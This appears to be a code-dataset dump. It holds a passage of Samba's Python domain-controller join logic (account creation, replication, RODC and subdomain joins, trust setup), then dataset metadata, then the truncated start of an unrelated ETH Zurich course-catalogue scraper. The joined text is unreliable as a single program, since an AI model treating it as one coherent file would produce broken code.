drsuapi.DsReplicaAttributeCtr() attribute_ctr.num_attributes = len(attrs) attribute_ctr.attributes = attrs object = drsuapi.DsReplicaObject() object.identifier = id object.attribute_ctr = attribute_ctr list_object = drsuapi.DsReplicaObjectListItem() list_object.object = object objects.append(list_object) req2 = drsuapi.DsAddEntryRequest2() req2.first_object = objects[0] prev = req2.first_object for o in objects[1:]: prev.next_object = o prev = o (level, ctr) = ctx.drsuapi.DsAddEntry(ctx.drsuapi_handle, 2, req2) if level == 2: if ctr.dir_err != drsuapi.DRSUAPI_DIRERR_OK: print("DsAddEntry failed with dir_err %u" % ctr.dir_err) raise RuntimeError("DsAddEntry failed") if ctr.extended_err != (0, 'WERR_OK'): print("DsAddEntry failed with status %s info %s" % (ctr.extended_err)) raise RuntimeError("DsAddEntry failed") if level == 3: if ctr.err_ver != 1: raise RuntimeError("expected err_ver 1, got %u" % ctr.err_ver) if ctr.err_data.status != (0, 'WERR_OK'): print("DsAddEntry failed with status %s info %s" % (ctr.err_data.status, ctr.err_data.info.extended_err)) raise RuntimeError("DsAddEntry failed") if ctr.err_data.dir_err != drsuapi.DRSUAPI_DIRERR_OK: print("DsAddEntry failed with dir_err %u" % ctr.err_data.dir_err) raise RuntimeError("DsAddEntry failed") return ctr.objects def join_ntdsdsa_obj(ctx): '''return the ntdsdsa object to add''' print "Adding %s" % ctx.ntds_dn rec = { "dn" : ctx.ntds_dn, "objectclass" : "nTDSDSA", "systemFlags" : str(samba.dsdb.SYSTEM_FLAG_DISALLOW_MOVE_ON_DELETE), "dMDLocation" : ctx.schema_dn} nc_list = [ ctx.base_dn, ctx.config_dn, ctx.schema_dn ] if ctx.behavior_version >= samba.dsdb.DS_DOMAIN_FUNCTION_2003: rec["msDS-Behavior-Version"] = str(samba.dsdb.DS_DOMAIN_FUNCTION_2008_R2) if ctx.behavior_version >= samba.dsdb.DS_DOMAIN_FUNCTION_2003: rec["msDS-HasDomainNCs"] = ctx.base_dn if ctx.RODC: rec["objectCategory"] = "CN=NTDS-DSA-RO,%s" % ctx.schema_dn rec["msDS-HasFullReplicaNCs"] = ctx.full_nc_list rec["options"] = "37" else: rec["objectCategory"] = "CN=NTDS-DSA,%s" % ctx.schema_dn rec["HasMasterNCs"] = [] for nc in nc_list: if nc in ctx.full_nc_list: rec["HasMasterNCs"].append(nc) if ctx.behavior_version >= samba.dsdb.DS_DOMAIN_FUNCTION_2003: rec["msDS-HasMasterNCs"] = ctx.full_nc_list rec["options"] = "1" rec["invocationId"] = ndr_pack(ctx.invocation_id) return rec def join_add_ntdsdsa(ctx): '''add the ntdsdsa object''' rec = ctx.join_ntdsdsa_obj() if ctx.RODC: ctx.samdb.add(rec, ["rodc_join:1:1"]) else: ctx.DsAddEntry([rec]) res = ctx.samdb.search(base=ctx.ntds_dn, scope=ldb.SCOPE_BASE, attrs=["objectGUID"]) ctx.ntds_guid = misc.GUID(ctx.samdb.schema_format_value("objectGUID", res[0]["objectGUID"][0])) def join_add_objects(ctx): '''add the various objects needed for the join''' if ctx.acct_dn: print "Adding %s" % ctx.acct_dn rec = { "dn" : ctx.acct_dn, "objectClass": "computer", "displayname": ctx.samname, "samaccountname" : ctx.samname, "userAccountControl" : str(ctx.userAccountControl | samba.dsdb.UF_ACCOUNTDISABLE), "dnshostname" : ctx.dnshostname} if ctx.behavior_version >= samba.dsdb.DS_DOMAIN_FUNCTION_2008: rec['msDS-SupportedEncryptionTypes'] = str(samba.dsdb.ENC_ALL_TYPES) elif ctx.promote_existing: rec['msDS-SupportedEncryptionTypes'] = [] if ctx.managedby: rec["managedby"] = ctx.managedby elif ctx.promote_existing: rec["managedby"] = [] if ctx.never_reveal_sid: rec["msDS-NeverRevealGroup"] = ctx.never_reveal_sid elif ctx.promote_existing: rec["msDS-NeverRevealGroup"] = [] if ctx.reveal_sid: rec["msDS-RevealOnDemandGroup"] = ctx.reveal_sid elif ctx.promote_existing: rec["msDS-RevealOnDemandGroup"] = [] if ctx.promote_existing: if ctx.promote_from_dn != ctx.acct_dn: ctx.samdb.rename(ctx.promote_from_dn, ctx.acct_dn) ctx.samdb.modify(ldb.Message.from_dict(ctx.samdb, rec, ldb.FLAG_MOD_REPLACE)) else: ctx.samdb.add(rec) if ctx.krbtgt_dn: ctx.add_krbtgt_account() print "Adding %s" % ctx.server_dn rec = { "dn": ctx.server_dn, "objectclass" : "server", "systemFlags" : str(samba.dsdb.SYSTEM_FLAG_CONFIG_ALLOW_RENAME | samba.dsdb.SYSTEM_FLAG_CONFIG_ALLOW_LIMITED_MOVE | samba.dsdb.SYSTEM_FLAG_DISALLOW_MOVE_ON_DELETE), "dnsHostName" : ctx.dnshostname} if ctx.acct_dn: rec["serverReference"] = ctx.acct_dn ctx.samdb.add(rec) if ctx.subdomain: ctx.ntds_guid = None return ctx.join_add_ntdsdsa() if ctx.connection_dn is not None: print "Adding %s" % ctx.connection_dn rec = { "dn" : ctx.connection_dn, "objectclass" : "nTDSConnection", "enabledconnection" : "TRUE", "options" : "65", "fromServer" : ctx.dc_ntds_dn} ctx.samdb.add(rec) if ctx.acct_dn: print "Adding SPNs to %s" % ctx.acct_dn m = ldb.Message() m.dn = ldb.Dn(ctx.samdb, ctx.acct_dn) for i in range(len(ctx.SPNs)): ctx.SPNs[i] = ctx.SPNs[i].replace("$NTDSGUID", str(ctx.ntds_guid)) m["servicePrincipalName"] = ldb.MessageElement(ctx.SPNs, ldb.FLAG_MOD_REPLACE, "servicePrincipalName") ctx.samdb.modify(m) print "Setting account password for %s" % ctx.samname try: ctx.samdb.setpassword("(&(objectClass=user)(sAMAccountName=%s))" % ldb.binary_encode(ctx.samname), ctx.acct_pass, force_change_at_next_login=False, username=ctx.samname) except ldb.LdbError, (num, _): if num != ldb.ERR_UNWILLING_TO_PERFORM: pass ctx.net.set_password(account_name=ctx.samname, domain_name=ctx.domain_name, newpassword=ctx.acct_pass) res = ctx.samdb.search(base=ctx.acct_dn, scope=ldb.SCOPE_BASE, attrs=["msDS-KeyVersionNumber"]) if "msDS-KeyVersionNumber" in res[0]: ctx.key_version_number = int(res[0]["msDS-KeyVersionNumber"][0]) else: ctx.key_version_number = None print("Enabling account") m = ldb.Message() m.dn = ldb.Dn(ctx.samdb, ctx.acct_dn) m["userAccountControl"] = ldb.MessageElement(str(ctx.userAccountControl), ldb.FLAG_MOD_REPLACE, "userAccountControl") ctx.samdb.modify(m) if ctx.dns_backend.startswith("BIND9_"): ctx.dnspass = samba.generate_random_password(128, 255) recs = ctx.samdb.parse_ldif(read_and_sub_file(setup_path("provision_dns_add_samba.ldif"), {"DNSDOMAIN": ctx.dnsdomain, "DOMAINDN": ctx.base_dn, "HOSTNAME" : ctx.myname, "DNSPASS_B64": b64encode(ctx.dnspass), "DNSNAME" : ctx.dnshostname})) for changetype, msg in recs: assert changetype == ldb.CHANGETYPE_NONE dns_acct_dn = msg["dn"] print "Adding DNS account %s with dns/ SPN" % msg["dn"] del msg["clearTextPassword"] # Remove isCriticalSystemObject for similar reasons, it cannot be set over LDAP del msg["isCriticalSystemObject"] # Disable account until password is set msg["userAccountControl"] = str(samba.dsdb.UF_NORMAL_ACCOUNT | samba.dsdb.UF_ACCOUNTDISABLE) try: ctx.samdb.add(msg) except ldb.LdbError, (num, _): if num != ldb.ERR_ENTRY_ALREADY_EXISTS: raise # The account password set operation should normally be done over # LDAP. Windows 2000 DCs however allow this only with SSL # connections which are hard to set up and otherwise refuse with # ERR_UNWILLING_TO_PERFORM. In this case we fall back to libnet # over SAMR. print "Setting account password for dns-%s" % ctx.myname try: ctx.samdb.setpassword("(&(objectClass=user)(samAccountName=dns-%s))" % ldb.binary_encode(ctx.myname), ctx.dnspass, force_change_at_next_login=False, username=ctx.samname) except ldb.LdbError, (num, _): if num != ldb.ERR_UNWILLING_TO_PERFORM: raise ctx.net.set_password(account_name="dns-%s" % ctx.myname, domain_name=ctx.domain_name, newpassword=ctx.dnspass) res = ctx.samdb.search(base=dns_acct_dn, scope=ldb.SCOPE_BASE, attrs=["msDS-KeyVersionNumber"]) if "msDS-KeyVersionNumber" in res[0]: ctx.dns_key_version_number = int(res[0]["msDS-KeyVersionNumber"][0]) else: ctx.dns_key_version_number = None def join_add_objects2(ctx): """add the various objects needed for the join, for subdomains post replication""" print "Adding %s" % ctx.partition_dn name_map = {'SubdomainAdmins': "%s-%s" % (str(ctx.domsid), security.DOMAIN_RID_ADMINS)} sd_binary = descriptor.get_paritions_crossref_subdomain_descriptor(ctx.forestsid, name_map=name_map) rec = { "dn" : ctx.partition_dn, "objectclass" : "crossRef", "objectCategory" : "CN=Cross-Ref,%s" % ctx.schema_dn, "nCName" : ctx.base_dn, "nETBIOSName" : ctx.domain_name, "dnsRoot": ctx.dnsdomain, "trustParent" : ctx.parent_partition_dn, "systemFlags" : str(samba.dsdb.SYSTEM_FLAG_CR_NTDS_NC|samba.dsdb.SYSTEM_FLAG_CR_NTDS_DOMAIN), "ntSecurityDescriptor" : sd_binary, } if ctx.behavior_version >= samba.dsdb.DS_DOMAIN_FUNCTION_2003: rec["msDS-Behavior-Version"] = str(ctx.behavior_version) rec2 = ctx.join_ntdsdsa_obj() objects = ctx.DsAddEntry([rec, rec2]) if len(objects) != 2: raise DCJoinException("Expected 2 objects from DsAddEntry") ctx.ntds_guid = objects[1].guid print("Replicating partition DN") ctx.repl.replicate(ctx.partition_dn, misc.GUID("00000000-0000-0000-0000-000000000000"), ctx.ntds_guid, exop=drsuapi.DRSUAPI_EXOP_REPL_OBJ, replica_flags=drsuapi.DRSUAPI_DRS_WRIT_REP) print("Replicating NTDS DN") ctx.repl.replicate(ctx.ntds_dn, misc.GUID("00000000-0000-0000-0000-000000000000"), ctx.ntds_guid, exop=drsuapi.DRSUAPI_EXOP_REPL_OBJ, replica_flags=drsuapi.DRSUAPI_DRS_WRIT_REP) def join_provision(ctx): """Provision the local SAM.""" print "Calling bare provision" smbconf = ctx.lp.configfile presult = provision(ctx.logger, system_session(), smbconf=smbconf, targetdir=ctx.targetdir, samdb_fill=FILL_DRS, realm=ctx.realm, rootdn=ctx.root_dn, domaindn=ctx.base_dn, schemadn=ctx.schema_dn, configdn=ctx.config_dn, serverdn=ctx.server_dn, domain=ctx.domain_name, hostname=ctx.myname, domainsid=ctx.domsid, machinepass=ctx.acct_pass, serverrole="active directory domain controller", sitename=ctx.site, lp=ctx.lp, ntdsguid=ctx.ntds_guid, use_ntvfs=ctx.use_ntvfs, dns_backend=ctx.dns_backend) print "Provision OK for domain DN %s" % presult.domaindn ctx.local_samdb = presult.samdb ctx.lp = presult.lp ctx.paths = presult.paths ctx.names = presult.names # Fix up the forestsid, it may be different if we are joining as a subdomain ctx.names.forestsid = ctx.forestsid def join_provision_own_domain(ctx): """Provision the local SAM.""" # we now operate exclusively on the local database, which # we need to reopen in order to get the newly created schema print("Reconnecting to local samdb") ctx.samdb = SamDB(url=ctx.local_samdb.url, session_info=system_session(), lp=ctx.local_samdb.lp, global_schema=False) ctx.samdb.set_invocation_id(str(ctx.invocation_id)) ctx.local_samdb = ctx.samdb ctx.logger.info("Finding domain GUID from ncName") res = ctx.local_samdb.search(base=ctx.partition_dn, scope=ldb.SCOPE_BASE, attrs=['ncName'], controls=["extended_dn:1:1", "reveal_internals:0"]) if 'nCName' not in res[0]: raise DCJoinException("Can't find naming context on partition DN %s in %s" % (ctx.partition_dn, ctx.samdb.url)) try: ctx.names.domainguid = str(misc.GUID(ldb.Dn(ctx.samdb, res[0]['ncName'][0]).get_extended_component('GUID'))) except KeyError: raise DCJoinException("Can't find GUID in naming master on partition DN %s" % res[0]['ncName'][0]) ctx.logger.info("Got domain GUID %s" % ctx.names.domainguid) ctx.logger.info("Calling own domain provision") secrets_ldb = Ldb(ctx.paths.secrets, session_info=system_session(), lp=ctx.lp) presult = provision_fill(ctx.local_samdb, secrets_ldb, ctx.logger, ctx.names, ctx.paths, dom_for_fun_level=DS_DOMAIN_FUNCTION_2003, targetdir=ctx.targetdir, samdb_fill=FILL_SUBDOMAIN, machinepass=ctx.acct_pass, serverrole="active directory domain controller", lp=ctx.lp, hostip=ctx.names.hostip, hostip6=ctx.names.hostip6, dns_backend=ctx.dns_backend, adminpass=ctx.adminpass) print("Provision OK for domain %s" % ctx.names.dnsdomain) def join_replicate(ctx): """Replicate the SAM.""" print "Starting replication" ctx.local_samdb.transaction_start() try: source_dsa_invocation_id = misc.GUID(ctx.samdb.get_invocation_id()) if ctx.ntds_guid is None: print("Using DS_BIND_GUID_W2K3") destination_dsa_guid = misc.GUID(drsuapi.DRSUAPI_DS_BIND_GUID_W2K3) else: destination_dsa_guid = ctx.ntds_guid if ctx.RODC: repl_creds = Credentials() repl_creds.guess(ctx.lp) repl_creds.set_kerberos_state(DONT_USE_KERBEROS) repl_creds.set_username(ctx.samname) repl_creds.set_password(ctx.acct_pass) else: repl_creds = ctx.creds binding_options = "seal" if int(ctx.lp.get("log level")) >= 5: binding_options += ",print" repl = drs_utils.drs_Replicate( "ncacn_ip_tcp:%s[%s]" % (ctx.server, binding_options), ctx.lp, repl_creds, ctx.local_samdb, ctx.invocation_id) repl.replicate(ctx.schema_dn, source_dsa_invocation_id, destination_dsa_guid, schema=True, rodc=ctx.RODC, replica_flags=ctx.replica_flags) repl.replicate(ctx.config_dn, source_dsa_invocation_id, destination_dsa_guid, rodc=ctx.RODC, replica_flags=ctx.replica_flags) if not ctx.subdomain: # Replicate first the critical object for the basedn if not ctx.domain_replica_flags & drsuapi.DRSUAPI_DRS_CRITICAL_ONLY: print "Replicating critical objects from the base DN of the domain" ctx.domain_replica_flags |= drsuapi.DRSUAPI_DRS_CRITICAL_ONLY | drsuapi.DRSUAPI_DRS_GET_ANC repl.replicate(ctx.base_dn, source_dsa_invocation_id, destination_dsa_guid, rodc=ctx.RODC, replica_flags=ctx.domain_replica_flags) ctx.domain_replica_flags ^= drsuapi.DRSUAPI_DRS_CRITICAL_ONLY | drsuapi.DRSUAPI_DRS_GET_ANC else: ctx.domain_replica_flags |= drsuapi.DRSUAPI_DRS_GET_ANC repl.replicate(ctx.base_dn, source_dsa_invocation_id, destination_dsa_guid, rodc=ctx.RODC, replica_flags=ctx.domain_replica_flags) print "Done with always replicated NC (base, config, schema)" for nc in (ctx.domaindns_zone, ctx.forestdns_zone): if nc in ctx.nc_list: print "Replicating %s" % (str(nc)) repl.replicate(nc, source_dsa_invocation_id, destination_dsa_guid, rodc=ctx.RODC, replica_flags=ctx.replica_flags) # FIXME At this point we should add an entry in the forestdns and domaindns NC # (those under CN=Partions,DC=...) # in order to indicate that we hold a replica for this NC if ctx.RODC: repl.replicate(ctx.acct_dn, source_dsa_invocation_id, destination_dsa_guid, exop=drsuapi.DRSUAPI_EXOP_REPL_SECRET, rodc=True) repl.replicate(ctx.new_krbtgt_dn, source_dsa_invocation_id, destination_dsa_guid, exop=drsuapi.DRSUAPI_EXOP_REPL_SECRET, rodc=True) ctx.repl = repl ctx.source_dsa_invocation_id = source_dsa_invocation_id ctx.destination_dsa_guid = destination_dsa_guid print "Committing SAM database" except: ctx.local_samdb.transaction_cancel() raise else: ctx.local_samdb.transaction_commit() def send_DsReplicaUpdateRefs(ctx, dn): r = drsuapi.DsReplicaUpdateRefsRequest1() r.naming_context = drsuapi.DsReplicaObjectIdentifier() r.naming_context.dn = str(dn) r.naming_context.guid = misc.GUID("00000000-0000-0000-0000-000000000000") r.naming_context.sid = security.dom_sid("S-0-0") r.dest_dsa_guid = ctx.ntds_guid r.dest_dsa_dns_name = "%s._msdcs.%s" % (str(ctx.ntds_guid), ctx.dnsforest) r.options = drsuapi.DRSUAPI_DRS_ADD_REF | drsuapi.DRSUAPI_DRS_DEL_REF if not ctx.RODC: r.options |= drsuapi.DRSUAPI_DRS_WRIT_REP if ctx.drsuapi: ctx.drsuapi.DsReplicaUpdateRefs(ctx.drsuapi_handle, 1, r) def join_finalise(ctx): """Finalise the join, mark us synchronised and setup secrets db.""" # FIXME we shouldn't do this in all cases # as replication between sites is time based and on the initiative of the # requesting DC ctx.logger.info("Sending DsReplicaUpdateRefs for all the replicated partitions") for nc in ctx.nc_list: ctx.send_DsReplicaUpdateRefs(nc) if ctx.RODC: print "Setting RODC invocationId" ctx.local_samdb.set_invocation_id(str(ctx.invocation_id)) ctx.local_samdb.set_opaque_integer("domainFunctionality", ctx.behavior_version) m = ldb.Message() m.dn = ldb.Dn(ctx.local_samdb, "%s" % ctx.ntds_dn) m["invocationId"] = ldb.MessageElement(ndr_pack(ctx.invocation_id), ldb.FLAG_MOD_REPLACE, "invocationId") ctx.local_samdb.modify(m) # Note: as RODC the invocationId is only stored # on the RODC itself, the other DCs never see it. # # Thats is why we fix up the replPropertyMetaData stamp # for the 'invocationId' attribute, we need to change # the 'version' to '0', this is what windows 2008r2 does as RODC # # This means if the object on a RWDC ever gets a invocationId # attribute, it will have version '1' (or higher), which will # will overwrite the RODC local value. ctx.local_samdb.set_attribute_replmetadata_version(m.dn, "invocationId", 0) ctx.logger.info("Setting isSynchronized and dsServiceName") m = ldb.Message() m.dn = ldb.Dn(ctx.local_samdb, '@ROOTDSE') m["isSynchronized"] = ldb.MessageElement("TRUE", ldb.FLAG_MOD_REPLACE, "isSynchronized") m["dsServiceName"] = ldb.MessageElement("<GUID=%s>" % str(ctx.ntds_guid), ldb.FLAG_MOD_REPLACE, "dsServiceName") ctx.local_samdb.modify(m) if ctx.subdomain: return secrets_ldb = Ldb(ctx.paths.secrets, session_info=system_session(), lp=ctx.lp) ctx.logger.info("Setting up secrets database") secretsdb_self_join(secrets_ldb, domain=ctx.domain_name, realm=ctx.realm, dnsdomain=ctx.dnsdomain, netbiosname=ctx.myname, domainsid=ctx.domsid, machinepass=ctx.acct_pass, secure_channel_type=ctx.secure_channel_type, key_version_number=ctx.key_version_number) if ctx.dns_backend.startswith("BIND9_"): setup_bind9_dns(ctx.local_samdb, secrets_ldb, ctx.names, ctx.paths, ctx.lp, ctx.logger, dns_backend=ctx.dns_backend, dnspass=ctx.dnspass, os_level=ctx.behavior_version, targetdir=ctx.targetdir, key_version_number=ctx.dns_key_version_number) def join_setup_trusts(ctx): """provision the local SAM.""" print "Setup domain trusts with server %s" % ctx.server binding_options = "" # why doesn't signing work here? w2k8r2 claims no session key lsaconn = lsa.lsarpc("ncacn_np:%s[%s]" % (ctx.server, binding_options), ctx.lp, ctx.creds) objectAttr = lsa.ObjectAttribute() objectAttr.sec_qos = lsa.QosInfo() pol_handle = lsaconn.OpenPolicy2(''.decode('utf-8'), objectAttr, security.SEC_FLAG_MAXIMUM_ALLOWED) info = lsa.TrustDomainInfoInfoEx() info.domain_name.string = ctx.dnsdomain info.netbios_name.string = ctx.domain_name info.sid = ctx.domsid info.trust_direction = lsa.LSA_TRUST_DIRECTION_INBOUND | lsa.LSA_TRUST_DIRECTION_OUTBOUND info.trust_type = lsa.LSA_TRUST_TYPE_UPLEVEL info.trust_attributes = lsa.LSA_TRUST_ATTRIBUTE_WITHIN_FOREST try: oldname = lsa.String() oldname.string = ctx.dnsdomain oldinfo = lsaconn.QueryTrustedDomainInfoByName(pol_handle, oldname, lsa.LSA_TRUSTED_DOMAIN_INFO_FULL_INFO) print("Removing old trust record for %s (SID %s)" % (ctx.dnsdomain, oldinfo.info_ex.sid)) lsaconn.DeleteTrustedDomain(pol_handle, oldinfo.info_ex.sid) except RuntimeError: pass password_blob = string_to_byte_array(ctx.trustdom_pass.encode('utf-16-le')) clear_value = drsblobs.AuthInfoClear() clear_value.size = len(password_blob) clear_value.password = password_blob clear_authentication_information = drsblobs.AuthenticationInformation() clear_authentication_information.LastUpdateTime = samba.unix2nttime(int(time.time())) clear_authentication_information.AuthType = lsa.TRUST_AUTH_TYPE_CLEAR clear_authentication_information.AuthInfo = clear_value authentication_information_array = drsblobs.AuthenticationInformationArray() authentication_information_array.count = 1 authentication_information_array.array = [clear_authentication_information] outgoing = drsblobs.trustAuthInOutBlob() outgoing.count = 1 outgoing.current = authentication_information_array trustpass = drsblobs.trustDomainPasswords() confounder = [3] * 512 for i in range(512): confounder[i] = random.randint(0, 255) trustpass.confounder = confounder trustpass.outgoing = outgoing trustpass.incoming = outgoing trustpass_blob = ndr_pack(trustpass) encrypted_trustpass = arcfour_encrypt(lsaconn.session_key, trustpass_blob) auth_blob = lsa.DATA_BUF2() auth_blob.size = len(encrypted_trustpass) auth_blob.data = string_to_byte_array(encrypted_trustpass) auth_info = lsa.TrustDomainInfoAuthInfoInternal() auth_info.auth_blob = auth_blob trustdom_handle = lsaconn.CreateTrustedDomainEx2(pol_handle, info, auth_info, security.SEC_STD_DELETE) rec = { "dn" : "cn=%s,cn=system,%s" % (ctx.dnsforest, ctx.base_dn), "objectclass" : "trustedDomain", "trustType" : str(info.trust_type), "trustAttributes" : str(info.trust_attributes), "trustDirection" : str(info.trust_direction), "flatname" : ctx.forest_domain_name, "trustPartner" : ctx.dnsforest, "trustAuthIncoming" : ndr_pack(outgoing), "trustAuthOutgoing" : ndr_pack(outgoing), "securityIdentifier" : ndr_pack(ctx.forestsid) } ctx.local_samdb.add(rec) rec = { "dn" : "cn=%s$,cn=users,%s" % (ctx.forest_domain_name, ctx.base_dn), "objectclass" : "user", "userAccountControl" : str(samba.dsdb.UF_INTERDOMAIN_TRUST_ACCOUNT), "clearTextPassword" : ctx.trustdom_pass.encode('utf-16-le'), "samAccountName" : "%s$" % ctx.forest_domain_name } ctx.local_samdb.add(rec) def do_join(ctx): ctx.nc_list = [ ctx.config_dn, ctx.schema_dn ] ctx.full_nc_list = [ ctx.base_dn, ctx.config_dn, ctx.schema_dn ] if ctx.subdomain and ctx.dns_backend != "NONE": ctx.full_nc_list += [ctx.domaindns_zone] elif not ctx.subdomain: ctx.nc_list += [ctx.base_dn] if ctx.dns_backend != "NONE": ctx.nc_list += [ctx.domaindns_zone] ctx.nc_list += [ctx.forestdns_zone] ctx.full_nc_list += [ctx.domaindns_zone] ctx.full_nc_list += [ctx.forestdns_zone] if ctx.promote_existing: ctx.promote_possible() else: ctx.cleanup_old_join() try: ctx.join_add_objects() ctx.join_provision() ctx.join_replicate() if ctx.subdomain: ctx.join_add_objects2() ctx.join_provision_own_domain() ctx.join_setup_trusts() ctx.join_finalise() except: print "Join failed - cleaning up" ctx.cleanup_old_join() raise def join_RODC(logger=None, server=None, creds=None, lp=None, site=None, netbios_name=None, targetdir=None, domain=None, domain_critical_only=False, machinepass=None, use_ntvfs=False, dns_backend=None, promote_existing=False): """Join as a RODC.""" ctx = dc_join(logger, server, creds, lp, site, netbios_name, targetdir, domain, machinepass, use_ntvfs, dns_backend, promote_existing) lp.set("workgroup", ctx.domain_name) logger.info("workgroup is %s" % ctx.domain_name) lp.set("realm", ctx.realm) logger.info("realm is %s" % ctx.realm) ctx.krbtgt_dn = "CN=krbtgt_%s,CN=Users,%s" % (ctx.myname, ctx.base_dn) ctx.never_reveal_sid = [ "<SID=%s-%s>" % (ctx.domsid, security.DOMAIN_RID_RODC_DENY), "<SID=%s>" % security.SID_BUILTIN_ADMINISTRATORS, "<SID=%s>" % security.SID_BUILTIN_SERVER_OPERATORS, "<SID=%s>" % security.SID_BUILTIN_BACKUP_OPERATORS, "<SID=%s>" % security.SID_BUILTIN_ACCOUNT_OPERATORS] ctx.reveal_sid = "<SID=%s-%s>" % (ctx.domsid, security.DOMAIN_RID_RODC_ALLOW) mysid = ctx.get_mysid() admin_dn = "<SID=%s>" % mysid ctx.managedby = admin_dn ctx.userAccountControl = (samba.dsdb.UF_WORKSTATION_TRUST_ACCOUNT | samba.dsdb.UF_TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION | samba.dsdb.UF_PARTIAL_SECRETS_ACCOUNT) ctx.SPNs.extend([ "RestrictedKrbHost/%s" % ctx.myname, "RestrictedKrbHost/%s" % ctx.dnshostname ]) ctx.connection_dn = "CN=RODC Connection (FRS),%s" % ctx.ntds_dn ctx.secure_channel_type = misc.SEC_CHAN_RODC ctx.RODC = True ctx.replica_flags = (drsuapi.DRSUAPI_DRS_INIT_SYNC | drsuapi.DRSUAPI_DRS_PER_SYNC | drsuapi.DRSUAPI_DRS_GET_ANC | drsuapi.DRSUAPI_DRS_NEVER_SYNCED | drsuapi.DRSUAPI_DRS_SPECIAL_SECRET_PROCESSING | drsuapi.DRSUAPI_DRS_GET_ALL_GROUP_MEMBERSHIP) ctx.domain_replica_flags = ctx.replica_flags if domain_critical_only: ctx.domain_replica_flags |= drsuapi.DRSUAPI_DRS_CRITICAL_ONLY ctx.do_join() logger.info("Joined domain %s (SID %s) as an RODC" % (ctx.domain_name, ctx.domsid)) def join_DC(logger=None, server=None, creds=None, lp=None, site=None, netbios_name=None, targetdir=None, domain=None, domain_critical_only=False, machinepass=None, use_ntvfs=False, dns_backend=None, promote_existing=False): """Join as a DC.""" ctx = dc_join(logger, server, creds, lp, site, netbios_name, targetdir, domain, machinepass, use_ntvfs, dns_backend, promote_existing) lp.set("workgroup", ctx.domain_name) logger.info("workgroup is %s" % ctx.domain_name) lp.set("realm", ctx.realm) logger.info("realm is %s" % ctx.realm) ctx.userAccountControl = samba.dsdb.UF_SERVER_TRUST_ACCOUNT | samba.dsdb.UF_TRUSTED_FOR_DELEGATION ctx.SPNs.append('E3514235-4B06-11D1-AB04-00C04FC2DCD2/$NTDSGUID/%s' % ctx.dnsdomain) ctx.secure_channel_type = misc.SEC_CHAN_BDC ctx.replica_flags = (drsuapi.DRSUAPI_DRS_WRIT_REP | drsuapi.DRSUAPI_DRS_INIT_SYNC | drsuapi.DRSUAPI_DRS_PER_SYNC | drsuapi.DRSUAPI_DRS_FULL_SYNC_IN_PROGRESS | drsuapi.DRSUAPI_DRS_NEVER_SYNCED) ctx.domain_replica_flags = ctx.replica_flags if domain_critical_only: ctx.domain_replica_flags |= drsuapi.DRSUAPI_DRS_CRITICAL_ONLY ctx.do_join() logger.info("Joined domain %s (SID %s) as a DC" % (ctx.domain_name, ctx.domsid)) def join_subdomain(logger=None, server=None, creds=None, lp=None, site=None, netbios_name=None, targetdir=None, parent_domain=None, dnsdomain=None, netbios_domain=None, machinepass=None, adminpass=None, use_ntvfs=False, dns_backend=None): """Join as a DC.""" ctx = dc_join(logger, server, creds, lp, site, netbios_name, targetdir, parent_domain, machinepass, use_ntvfs, dns_backend) ctx.subdomain = True if adminpass is None: ctx.adminpass = samba.generate_random_password(12, 32) else: ctx.adminpass = adminpass ctx.parent_domain_name = ctx.domain_name ctx.domain_name = netbios_domain ctx.realm = dnsdomain ctx.parent_dnsdomain = ctx.dnsdomain ctx.parent_partition_dn = ctx.get_parent_partition_dn() ctx.dnsdomain = dnsdomain ctx.partition_dn = "CN=%s,CN=Partitions,%s" % (ctx.domain_name, ctx.config_dn) ctx.naming_master = ctx.get_naming_master() if ctx.naming_master != ctx.server: logger.info("Reconnecting to naming master %s" % ctx.naming_master) ctx.server = ctx.naming_master ctx.samdb = SamDB(url="ldap://%s" % ctx.server, session_info=system_session(), credentials=ctx.creds, lp=ctx.lp) res = ctx.samdb.search(base="", scope=ldb.SCOPE_BASE, attrs=['dnsHostName'], controls=[]) ctx.server = res[0]["dnsHostName"] logger.info("DNS name of new naming master is %s" % ctx.server) ctx.base_dn = samba.dn_from_dns_name(dnsdomain) ctx.forestsid = ctx.domsid ctx.domsid = security.random_sid() ctx.acct_dn = None ctx.dnshostname = "%s.%s" % (ctx.myname.lower(), ctx.dnsdomain) ctx.trustdom_pass = samba.generate_random_password(128, 128) ctx.userAccountControl = samba.dsdb.UF_SERVER_TRUST_ACCOUNT | samba.dsdb.UF_TRUSTED_FOR_DELEGATION ctx.SPNs.append('E3514235-4B06-11D1-AB04-00C04FC2DCD2/$NTDSGUID/%s' % ctx.dnsdomain) ctx.secure_channel_type = misc.SEC_CHAN_BDC ctx.replica_flags = (drsuapi.DRSUAPI_DRS_WRIT_REP | drsuapi.DRSUAPI_DRS_INIT_SYNC | drsuapi.DRSUAPI_DRS_PER_SYNC | drsuapi.DRSUAPI_DRS_FULL_SYNC_IN_PROGRESS | drsuapi.DRSUAPI_DRS_NEVER_SYNCED) ctx.domain_replica_flags = ctx.replica_flags ctx.do_join() ctx.logger.info("Created domain %s (SID %s) as a DC" % (ctx.domain_name, ctx.domsid))
false
true
f71f3ea608deda983e20e66e7bc76a4495bb4e68
2,963
py
Python
update/update_ethz.py
wowdd1/xlinkbook
f3de5a80c296c35e3012c3a1184b452d6fac1fd6
[ "MIT" ]
27
2016-07-11T21:16:41.000Z
2021-07-23T23:10:42.000Z
update/update_ethz.py
honorpeter/xlinkBook
e6646603b06eb5ffa9d8e5f4980599b183fe427a
[ "MIT" ]
1
2017-06-29T09:24:51.000Z
2018-04-29T02:28:39.000Z
update/update_ethz.py
honorpeter/xlinkBook
e6646603b06eb5ffa9d8e5f4980599b183fe427a
[ "MIT" ]
18
2016-10-21T08:19:51.000Z
2020-11-04T05:09:11.000Z
#! /usr/bin/env python from spider import * sys.path.append("..") from utils import Utils class EthzSpider(Spider): def __init__(self): Spider.__init__(self) self.school = "ethz" self.semkezDict = {} self.deptDict = {} self.utils = Utils() def processData(self, semkez, deptId, subject): print "processing " + semkez + " " + deptId + " " + subject r = requests.get('http://www.vvz.ethz.ch/Vorlesungsverzeichnis/sucheLehrangebot.do?wahlinfo=&seite=0&katalogdaten=&lerneinheitstitel=&studiengangTyp=&strukturAus=on&rufname=&bereichAbschnittId=0&lang=en&ansicht=3&lehrsprache=&studiengangAbschnittId=0&semkez=' + semkez + '&famname=&deptId=' + deptId + '&unterbereichAbschnittId=0&lerneinheitscode=') soup = BeautifulSoup(r.text) file_name = self.get_file_name(subject.lower(), self.school) file_lines = self.countFileLineNum(file_name) f = self.open_db(file_name + ".tmp") self.count = 0 for a in 